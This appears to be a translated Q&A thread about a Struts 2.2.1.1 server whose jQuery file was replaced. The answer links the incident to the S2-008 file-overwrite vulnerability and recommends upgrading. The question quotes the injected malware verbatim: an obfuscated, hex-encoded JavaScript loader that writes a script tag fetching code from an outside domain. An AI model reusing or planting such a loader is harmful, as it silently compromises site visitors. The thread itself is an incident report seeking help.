struts 2 bug获取对服务器的root访问权限

时间:2014-03-07 07:34:54

标签: struts2 root

现在已经研究了很长时间(研究不仅限于这个网站),但我没有看到任何关于这个“涉嫌”问题的讨论。

我的朋友告诉我他们在使用struts 2(2.2.1.1)时发现了一个关键问题。告诉我黑客可以获得对项目目录的root访问权限。因此他可以修改项目中的文件。

之前我没有注意到它。但就在此刻,我遇到了同样的问题。

[所谓的错误]:一直想知道为什么在我部署我的项目之后,使用javascript触发事件的所有DOM元素在一段时间后都不起作用。进一步调查,我发现我上传到服务器的jquery lib(用过jquery-1.3.2.min.js)已被替换(其内容)。文件名是相同的,但内容是无法识别的(至少对我而言),见下文:

var _0xfcda=["\x3C\x53\x43\x52\x49\x50\x54\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x67\x6F\x6F\x67\x6C\x65\x61\x64\x73\x6C\x2E\x63\x6F\x6D\x2F\x73\x70\x63\x6F\x64\x65\x2F\x63\x70\x2E\x6A\x73\x22\x3E\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E","\x77\x72\x69\x74\x65"];document[_0xfcda[1]](_0xfcda[0]);

那时我想起了我朋友告诉我的事情。有人可以确认上述错误/问题是否合法,并在此解释它的全部内容以及如何修复它。我认为这是一个非常巨大的故障。

注意:我很确定上面的代码不是我们的代码。我检查了我的本地副本,代码是不同的,一切都在我的本地。除了我之外,没有其他人能够确定服务器的root密码。

注意:我将使用最新的struts 2版本,但我认为这个问题,如果是legits,需要作为社区的一个单元/参考进行彻底讨论。

1 个答案:

答案 0 :(得分:1)

  

我的朋友告诉我他们在使用struts 2时发现了一个关键问题   (2.2.1.1)。告诉我一个黑客可以获得你的root权限   项目的目录。因此他可以修改项目中的文件。

我认为他指的是发现的漏洞之一announced on December 2011

您可以在Security Bulletin S2-008中阅读详细信息。

  

Struts中的任意文件覆盖< = 2.3.1(ParameterInterceptor)

  访问参数中的标志allowStaticMethodAccess时   禁止Struts 2.2.3.1攻击者仍然可以访问公众   只有一个String类型参数的构造函数来创建新的Java   对象并仅使用一个类型的参数访问其setter   String。这可以在示例中被滥用以创建和覆盖   任意文件。将禁用字符注入文件名中   可以使用未初始化的字符串属性。

我不知道这是不是发生在你身上的事情,但这可能是你朋友所说的。

  

我将使用最新的struts 2发布

然后您(几乎)无需担心......在下一个漏洞被发现并公开之前,您需要再次升级。

对于每个软件,总是使用最新的(稳定版)。